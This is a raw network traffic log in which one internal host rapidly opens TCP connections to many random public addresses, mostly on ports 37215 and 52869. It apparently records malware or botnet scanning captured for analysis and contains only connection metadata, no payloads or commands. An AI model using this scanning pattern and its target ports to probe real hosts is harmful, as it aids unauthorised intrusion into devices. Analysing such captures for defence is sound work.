Dec 4, 2024 20:34:27.919486046 CET	60019	52869	192.168.2.14	156.166.136.51
Dec 4, 2024 20:34:27.919486046 CET	60019	52869	192.168.2.14	156.129.169.18
Dec 4, 2024 20:34:27.919487953 CET	60019	52869	192.168.2.14	41.121.76.50
Dec 4, 2024 20:34:27.919487953 CET	60019	52869	192.168.2.14	197.105.159.57
Dec 4, 2024 20:34:27.919491053 CET	60019	52869	192.168.2.14	41.189.84.136
Dec 4, 2024 20:34:27.919495106 CET	60019	52869	192.168.2.14	197.16.110.125
Dec 4, 2024 20:34:27.919495106 CET	60019	52869	192.168.2.14	197.143.123.201
Dec 4, 2024 20:34:27.919503927 CET	60019	52869	192.168.2.14	156.5.175.27
Dec 4, 2024 20:34:27.919507980 CET	60019	52869	192.168.2.14	197.156.74.45
Dec 4, 2024 20:34:27.919507980 CET	60019	52869	192.168.2.14	197.82.235.48
Dec 4, 2024 20:34:27.919508934 CET	60019	52869	192.168.2.14	197.74.113.9
Dec 4, 2024 20:34:27.919512033 CET	60019	52869	192.168.2.14	197.93.65.175
Dec 4, 2024 20:34:27.919512033 CET	60019	52869	192.168.2.14	41.107.248.188
Dec 4, 2024 20:34:27.919522047 CET	60019	52869	192.168.2.14	156.43.208.139
Dec 4, 2024 20:34:27.919522047 CET	60019	52869	192.168.2.14	197.143.42.245
Dec 4, 2024 20:34:27.919529915 CET	60019	52869	192.168.2.14	156.126.198.77
Dec 4, 2024 20:34:27.919531107 CET	60019	52869	192.168.2.14	156.89.53.69
Dec 4, 2024 20:34:27.919533968 CET	60019	52869	192.168.2.14	197.75.179.16
Dec 4, 2024 20:34:27.919533968 CET	60019	52869	192.168.2.14	41.231.44.91
Dec 4, 2024 20:34:27.919533968 CET	60019	52869	192.168.2.14	156.68.206.8
Dec 4, 2024 20:34:27.919540882 CET	60019	52869	192.168.2.14	41.139.44.200
Dec 4, 2024 20:34:27.919542074 CET	60019	52869	192.168.2.14	197.231.71.186
Dec 4, 2024 20:34:27.919543028 CET	60019	52869	192.168.2.14	156.82.151.174
Dec 4, 2024 20:34:27.919543982 CET	60019	52869	192.168.2.14	197.36.109.40
Dec 4, 2024 20:34:27.919543982 CET	60019	52869	192.168.2.14	156.139.57.128
Dec 4, 2024 20:34:27.919543982 CET	60019	52869	192.168.2.14	156.157.242.105
Dec 4, 2024 20:34:27.919553995 CET	60019	52869	192.168.2.14	156.38.93.95
Dec 4, 2024 20:34:27.919555902 CET	60019	52869	192.168.2.14	41.72.249.163
Dec 4, 2024 20:34:27.919555902 CET	60019	52869	192.168.2.14	41.108.118.171
Dec 4, 2024 20:34:27.919557095 CET	60019	52869	192.168.2.14	156.23.147.75
Dec 4, 2024 20:34:27.919559956 CET	60019	52869	192.168.2.14	41.37.18.198
Dec 4, 2024 20:34:27.919560909 CET	60019	52869	192.168.2.14	197.147.131.13
Dec 4, 2024 20:34:27.919563055 CET	60019	52869	192.168.2.14	41.213.111.34
Dec 4, 2024 20:34:27.919563055 CET	60019	52869	192.168.2.14	156.187.228.246
Dec 4, 2024 20:34:27.919563055 CET	60019	52869	192.168.2.14	156.43.14.205
Dec 4, 2024 20:34:27.919564962 CET	60019	52869	192.168.2.14	156.62.119.164
Dec 4, 2024 20:34:27.919564962 CET	60019	52869	192.168.2.14	197.66.21.17
Dec 4, 2024 20:34:27.919567108 CET	60019	52869	192.168.2.14	41.67.214.155
Dec 4, 2024 20:34:27.919576883 CET	60019	52869	192.168.2.14	197.148.111.117
Dec 4, 2024 20:34:27.919584036 CET	37534	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:27.919584036 CET	60019	52869	192.168.2.14	156.230.127.202
Dec 4, 2024 20:34:27.919584990 CET	60019	52869	192.168.2.14	156.179.229.186
Dec 4, 2024 20:34:27.919584036 CET	60019	52869	192.168.2.14	197.49.33.203
Dec 4, 2024 20:34:27.919584990 CET	60019	52869	192.168.2.14	41.196.83.198
Dec 4, 2024 20:34:27.919584036 CET	60019	52869	192.168.2.14	156.128.11.47
Dec 4, 2024 20:34:27.919588089 CET	60019	52869	192.168.2.14	156.164.45.45
Dec 4, 2024 20:34:27.919589996 CET	60019	52869	192.168.2.14	41.30.153.13
Dec 4, 2024 20:34:27.919589996 CET	60019	52869	192.168.2.14	41.116.40.5
Dec 4, 2024 20:34:27.919589996 CET	60019	52869	192.168.2.14	197.116.105.127
Dec 4, 2024 20:34:27.919604063 CET	60019	52869	192.168.2.14	156.135.161.110
Dec 4, 2024 20:34:27.919604063 CET	60019	52869	192.168.2.14	41.3.226.255
Dec 4, 2024 20:34:27.919604063 CET	60019	52869	192.168.2.14	197.118.222.185
Dec 4, 2024 20:34:27.919604063 CET	60019	52869	192.168.2.14	41.61.244.88
Dec 4, 2024 20:34:27.919605017 CET	60019	52869	192.168.2.14	197.110.127.57
Dec 4, 2024 20:34:27.919605017 CET	60019	52869	192.168.2.14	197.8.152.48
Dec 4, 2024 20:34:27.919606924 CET	60019	52869	192.168.2.14	41.121.175.129
Dec 4, 2024 20:34:27.919608116 CET	60019	52869	192.168.2.14	197.79.92.176
Dec 4, 2024 20:34:27.919608116 CET	60019	52869	192.168.2.14	41.181.185.71
Dec 4, 2024 20:34:27.919608116 CET	60019	52869	192.168.2.14	156.87.94.31
Dec 4, 2024 20:34:27.919608116 CET	60019	52869	192.168.2.14	197.206.89.24
Dec 4, 2024 20:34:27.919608116 CET	60019	52869	192.168.2.14	156.73.78.163
Dec 4, 2024 20:34:27.919611931 CET	60019	52869	192.168.2.14	41.179.137.99
Dec 4, 2024 20:34:27.919617891 CET	60019	52869	192.168.2.14	41.168.191.141
Dec 4, 2024 20:34:27.919617891 CET	60019	52869	192.168.2.14	197.125.59.45
Dec 4, 2024 20:34:27.919617891 CET	60019	52869	192.168.2.14	156.27.167.249
Dec 4, 2024 20:34:27.919617891 CET	60019	52869	192.168.2.14	156.105.211.195
Dec 4, 2024 20:34:27.919620037 CET	60019	52869	192.168.2.14	197.228.33.237
Dec 4, 2024 20:34:27.919620991 CET	60019	52869	192.168.2.14	41.139.76.27
Dec 4, 2024 20:34:27.919620991 CET	60019	52869	192.168.2.14	156.129.83.88
Dec 4, 2024 20:34:27.919622898 CET	60019	52869	192.168.2.14	41.93.16.155
Dec 4, 2024 20:34:27.919622898 CET	60019	52869	192.168.2.14	41.80.20.50
Dec 4, 2024 20:34:27.919622898 CET	60019	52869	192.168.2.14	156.219.108.229
Dec 4, 2024 20:34:27.919625044 CET	60019	52869	192.168.2.14	156.141.208.152
Dec 4, 2024 20:34:27.919625044 CET	60019	52869	192.168.2.14	156.248.234.192
Dec 4, 2024 20:34:27.919630051 CET	60019	52869	192.168.2.14	41.50.7.39
Dec 4, 2024 20:34:27.919642925 CET	60019	52869	192.168.2.14	41.101.97.132
Dec 4, 2024 20:34:27.919644117 CET	60019	52869	192.168.2.14	41.5.83.164
Dec 4, 2024 20:34:27.919645071 CET	60019	52869	192.168.2.14	156.105.190.252
Dec 4, 2024 20:34:27.919645071 CET	60019	52869	192.168.2.14	197.231.106.244
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	197.146.214.161
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	41.143.102.230
Dec 4, 2024 20:34:27.919645071 CET	60019	52869	192.168.2.14	197.184.210.61
Dec 4, 2024 20:34:27.919642925 CET	60019	52869	192.168.2.14	197.116.51.57
Dec 4, 2024 20:34:27.919642925 CET	60019	52869	192.168.2.14	156.38.159.2
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	197.16.210.204
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	41.146.128.7
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	197.49.128.22
Dec 4, 2024 20:34:27.919646025 CET	60019	52869	192.168.2.14	197.96.38.105
Dec 4, 2024 20:34:27.919653893 CET	60019	52869	192.168.2.14	156.251.32.187
Dec 4, 2024 20:34:27.919660091 CET	60019	52869	192.168.2.14	41.198.218.66
Dec 4, 2024 20:34:27.919666052 CET	60019	52869	192.168.2.14	156.107.141.77
Dec 4, 2024 20:34:27.919666052 CET	60019	52869	192.168.2.14	197.99.187.118
Dec 4, 2024 20:34:27.919672966 CET	60019	52869	192.168.2.14	156.165.122.242
Dec 4, 2024 20:34:27.919672966 CET	60019	52869	192.168.2.14	41.64.61.145
Dec 4, 2024 20:34:27.919672966 CET	60019	52869	192.168.2.14	156.72.143.78
Dec 4, 2024 20:34:27.919672966 CET	60019	52869	192.168.2.14	156.169.0.66
Dec 4, 2024 20:34:27.919672966 CET	60019	52869	192.168.2.14	41.47.23.29
Dec 4, 2024 20:34:27.919682026 CET	60019	52869	192.168.2.14	41.128.126.155
Dec 4, 2024 20:34:27.919686079 CET	60019	52869	192.168.2.14	41.247.97.248
Dec 4, 2024 20:34:27.919686079 CET	60019	52869	192.168.2.14	197.226.130.219
Dec 4, 2024 20:34:27.919686079 CET	60019	52869	192.168.2.14	156.176.49.9
Dec 4, 2024 20:34:27.919692039 CET	60019	52869	192.168.2.14	41.65.204.155
Dec 4, 2024 20:34:27.919692039 CET	60019	52869	192.168.2.14	197.103.30.30
Dec 4, 2024 20:34:27.919692039 CET	60019	52869	192.168.2.14	41.200.231.97
Dec 4, 2024 20:34:27.919694901 CET	60019	52869	192.168.2.14	41.81.196.144
Dec 4, 2024 20:34:27.919694901 CET	60019	52869	192.168.2.14	156.255.123.166
Dec 4, 2024 20:34:27.919694901 CET	60019	52869	192.168.2.14	41.63.27.175
Dec 4, 2024 20:34:27.919800043 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:27.919800043 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:27.920274019 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:27.920274019 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:27.920371056 CET	39058	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:27.920838118 CET	34948	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:27.926664114 CET	53988	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:27.926672935 CET	43664	52869	192.168.2.14	156.143.161.42
Dec 4, 2024 20:34:27.926676035 CET	56592	37215	192.168.2.14	197.170.229.87
Dec 4, 2024 20:34:27.926677942 CET	35334	52869	192.168.2.14	197.149.191.62
Dec 4, 2024 20:34:27.926677942 CET	54344	37215	192.168.2.14	41.183.182.85
Dec 4, 2024 20:34:27.926677942 CET	48884	37215	192.168.2.14	41.251.151.107
Dec 4, 2024 20:34:27.926681042 CET	54100	37215	192.168.2.14	156.91.56.95
Dec 4, 2024 20:34:27.926677942 CET	34336	52869	192.168.2.14	156.83.22.152
Dec 4, 2024 20:34:27.926681042 CET	51930	37215	192.168.2.14	156.126.207.8
Dec 4, 2024 20:34:27.926686049 CET	48894	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:27.926687002 CET	60074	52869	192.168.2.14	41.44.187.18
Dec 4, 2024 20:34:27.926687956 CET	57760	52869	192.168.2.14	156.128.83.47
Dec 4, 2024 20:34:27.926687956 CET	42270	52869	192.168.2.14	156.26.104.85
Dec 4, 2024 20:34:27.926687956 CET	34808	37215	192.168.2.14	156.34.144.151
Dec 4, 2024 20:34:27.926687002 CET	40070	52869	192.168.2.14	156.83.102.83
Dec 4, 2024 20:34:27.926687002 CET	40894	37215	192.168.2.14	197.46.210.104
Dec 4, 2024 20:34:27.926687002 CET	59962	52869	192.168.2.14	197.90.117.33
Dec 4, 2024 20:34:27.926696062 CET	45190	37215	192.168.2.14	197.30.70.180
Dec 4, 2024 20:34:27.926697016 CET	41464	52869	192.168.2.14	197.193.108.149
Dec 4, 2024 20:34:27.926697016 CET	40432	52869	192.168.2.14	41.88.104.106
Dec 4, 2024 20:34:27.926697016 CET	48536	37215	192.168.2.14	156.110.100.62
Dec 4, 2024 20:34:27.926709890 CET	32850	37215	192.168.2.14	156.251.217.255
Dec 4, 2024 20:34:27.926709890 CET	44480	52869	192.168.2.14	197.134.199.44
Dec 4, 2024 20:34:27.926709890 CET	58680	52869	192.168.2.14	156.241.126.158
Dec 4, 2024 20:34:27.926713943 CET	54718	52869	192.168.2.14	197.7.71.245
Dec 4, 2024 20:34:27.926713943 CET	36770	52869	192.168.2.14	41.254.67.195
Dec 4, 2024 20:34:27.926716089 CET	40530	37215	192.168.2.14	41.97.166.226
Dec 4, 2024 20:34:27.926713943 CET	38200	52869	192.168.2.14	156.133.31.26
Dec 4, 2024 20:34:27.926713943 CET	54016	52869	192.168.2.14	156.38.138.77
Dec 4, 2024 20:34:27.926713943 CET	45186	37215	192.168.2.14	197.182.44.141
Dec 4, 2024 20:34:27.926713943 CET	41042	52869	192.168.2.14	197.28.154.184
Dec 4, 2024 20:34:27.926724911 CET	35782	37215	192.168.2.14	156.90.49.226
Dec 4, 2024 20:34:27.926727057 CET	48862	37215	192.168.2.14	156.54.168.161
Dec 4, 2024 20:34:27.926727057 CET	57796	37215	192.168.2.14	41.29.20.203
Dec 4, 2024 20:34:27.926728010 CET	51194	52869	192.168.2.14	41.14.217.141
Dec 4, 2024 20:34:27.926728010 CET	48118	52869	192.168.2.14	41.227.129.228
Dec 4, 2024 20:34:27.926728010 CET	53324	37215	192.168.2.14	41.232.154.218
Dec 4, 2024 20:34:27.926728010 CET	52112	37215	192.168.2.14	156.179.59.54
Dec 4, 2024 20:34:27.926728010 CET	52074	37215	192.168.2.14	156.89.173.110
Dec 4, 2024 20:34:27.926728964 CET	54692	37215	192.168.2.14	41.37.188.94
Dec 4, 2024 20:34:27.950743914 CET	52869	43520	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:27.950795889 CET	43520	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:27.950807095 CET	37215	39594	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:27.950830936 CET	37215	46734	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:27.950870037 CET	39594	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:27.950870037 CET	46734	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:27.950870991 CET	43520	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:27.950870991 CET	43520	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:27.950927019 CET	46734	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:27.950927019 CET	46734	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:27.951370955 CET	43914	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:27.951459885 CET	47140	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:27.952173948 CET	39594	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:27.952186108 CET	39594	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:27.952425003 CET	39934	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:27.958673000 CET	36554	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:27.958673000 CET	37258	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:27.958676100 CET	51330	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:27.958678007 CET	51556	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:27.958682060 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:27.962663889 CET	53988	52869	192.168.2.14	156.33.126.151
Dec 4, 2024 20:34:27.962667942 CET	50108	52869	192.168.2.14	156.169.0.109
Dec 4, 2024 20:34:27.962668896 CET	46300	52869	192.168.2.14	197.57.17.249
Dec 4, 2024 20:34:27.984353065 CET	52869	39422	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:27.984363079 CET	37215	58254	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:27.984371901 CET	52869	35244	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:27.984508991 CET	35244	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:27.984512091 CET	58254	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:27.984512091 CET	58254	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:27.984512091 CET	58254	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:27.984529018 CET	39422	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:27.984529018 CET	39422	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:27.984529018 CET	39422	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:27.985028028 CET	39702	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:27.985135078 CET	58510	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:27.985681057 CET	35244	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:27.985681057 CET	35244	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:27.986114025 CET	35504	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:28.009651899 CET	37215	60275	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.009696960 CET	60275	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.009717941 CET	37215	60275	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.009728909 CET	37215	60275	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.009820938 CET	37215	59160	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:28.009913921 CET	60275	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.009917021 CET	60275	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.010528088 CET	37215	45444	197.143.6.121	192.168.2.14
Dec 4, 2024 20:34:28.015069008 CET	37215	47200	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:28.015110016 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:28.015408039 CET	37872	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.015973091 CET	38984	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.016535997 CET	58012	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.016882896 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:28.016882896 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:28.017146111 CET	47384	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:28.039032936 CET	37215	37104	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:28.039222956 CET	52869	60019	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.039239883 CET	52869	60019	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.039248943 CET	37215	34526	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:28.039268017 CET	60019	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.039284945 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:28.039289951 CET	60019	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.039542913 CET	52869	38580	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:28.039628983 CET	52869	38580	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:28.039680004 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:28.039745092 CET	52869	38580	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:28.039839983 CET	37215	37104	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:28.040040016 CET	37215	34526	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:28.040168047 CET	37215	34526	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:28.046576977 CET	37215	53988	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.046636105 CET	53988	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.046691895 CET	53988	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.046691895 CET	53988	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.046984911 CET	54088	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.050888062 CET	37215	45444	197.143.6.121	192.168.2.14
Dec 4, 2024 20:34:28.050977945 CET	37215	59160	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:28.070962906 CET	52869	43520	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:28.070982933 CET	37215	46734	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:28.071458101 CET	52869	43914	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:28.071496010 CET	37215	47140	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:28.071511030 CET	43914	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:28.071681023 CET	43914	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:28.071682930 CET	47140	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:28.071682930 CET	47140	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:28.071751118 CET	37215	46734	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:28.072021008 CET	56986	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.072145939 CET	37215	39594	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:28.072282076 CET	37215	39934	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:28.072318077 CET	39934	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:28.072329998 CET	39934	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:28.072673082 CET	48866	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.105003119 CET	37215	58254	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:28.105014086 CET	52869	39422	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:28.105129957 CET	52869	39702	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:28.105140924 CET	37215	58510	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:28.105178118 CET	58510	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:28.105180025 CET	39702	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:28.105340958 CET	58510	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:28.105341911 CET	39702	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:28.105556011 CET	52869	35244	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:28.105851889 CET	37215	58254	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:28.105863094 CET	52869	35504	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:28.105900049 CET	35504	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:28.105912924 CET	35504	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:28.106070042 CET	52869	39422	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:28.114890099 CET	37215	39594	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:28.114902020 CET	52869	43520	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:28.135108948 CET	37215	37872	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.135157108 CET	37872	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.135322094 CET	37872	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.135322094 CET	37872	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.135617018 CET	37886	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.136327028 CET	37215	38984	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.136372089 CET	38984	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.136409044 CET	38984	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.136409044 CET	38984	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.136662006 CET	38998	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.137876034 CET	37215	58012	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.137921095 CET	58012	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.137950897 CET	58012	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.137959003 CET	58012	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.138209105 CET	58026	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.138215065 CET	37215	47200	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:28.146843910 CET	52869	35244	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:28.159267902 CET	37215	34526	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:28.159327984 CET	52869	38580	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:28.166532040 CET	37215	53988	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.166786909 CET	37215	54088	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.166830063 CET	54088	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.166985989 CET	54088	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.183438063 CET	37215	47200	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:28.193526983 CET	52869	56986	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.193680048 CET	56986	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.193680048 CET	56986	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.193680048 CET	56986	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.193756104 CET	37215	47140	41.231.60.22	192.168.2.14
Dec 4, 2024 20:34:28.193798065 CET	47140	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:28.193854094 CET	52869	43914	41.40.186.136	192.168.2.14
Dec 4, 2024 20:34:28.193890095 CET	43914	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:28.193979979 CET	52869	48866	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.194015980 CET	56996	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.194015980 CET	48866	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.194286108 CET	37215	39934	41.142.203.25	192.168.2.14
Dec 4, 2024 20:34:28.194324017 CET	39934	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:28.194451094 CET	48866	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.194451094 CET	48866	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.194749117 CET	48876	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.211664915 CET	37215	53988	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.226135969 CET	52869	39702	156.235.228.202	192.168.2.14
Dec 4, 2024 20:34:28.226176023 CET	39702	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:28.226210117 CET	37215	58510	41.18.81.231	192.168.2.14
Dec 4, 2024 20:34:28.226337910 CET	58510	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:28.226635933 CET	52869	35504	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:28.226677895 CET	35504	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:28.255227089 CET	37215	37872	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.255471945 CET	37215	37886	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.255614042 CET	37886	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.255614042 CET	37886	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:28.256360054 CET	37215	38984	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.256931067 CET	37215	38984	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.256974936 CET	37215	38998	41.201.40.37	192.168.2.14
Dec 4, 2024 20:34:28.257020950 CET	38998	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.257036924 CET	38998	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:28.258054972 CET	37215	58012	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.258064985 CET	37215	58012	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.258076906 CET	37215	58012	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.258435965 CET	37215	58026	156.223.246.183	192.168.2.14
Dec 4, 2024 20:34:28.258472919 CET	58026	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.258487940 CET	58026	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:28.286694050 CET	37215	54088	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.286932945 CET	37215	54088	156.122.160.94	192.168.2.14
Dec 4, 2024 20:34:28.286984921 CET	54088	37215	192.168.2.14	156.122.160.94
Dec 4, 2024 20:34:28.298820972 CET	37215	37872	197.192.58.48	192.168.2.14
Dec 4, 2024 20:34:28.313922882 CET	52869	56986	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.314141035 CET	52869	56996	41.58.254.48	192.168.2.14
Dec 4, 2024 20:34:28.314301968 CET	56996	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.314301968 CET	56996	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:28.314397097 CET	52869	48866	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.314444065 CET	48866	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:28.314610958 CET	52869	48866	197.96.143.60	192.168.2.14
Dec 4, 2024 20:34:28.314743042 CET	52869	48866	197.96.143.60	192.168.2.14
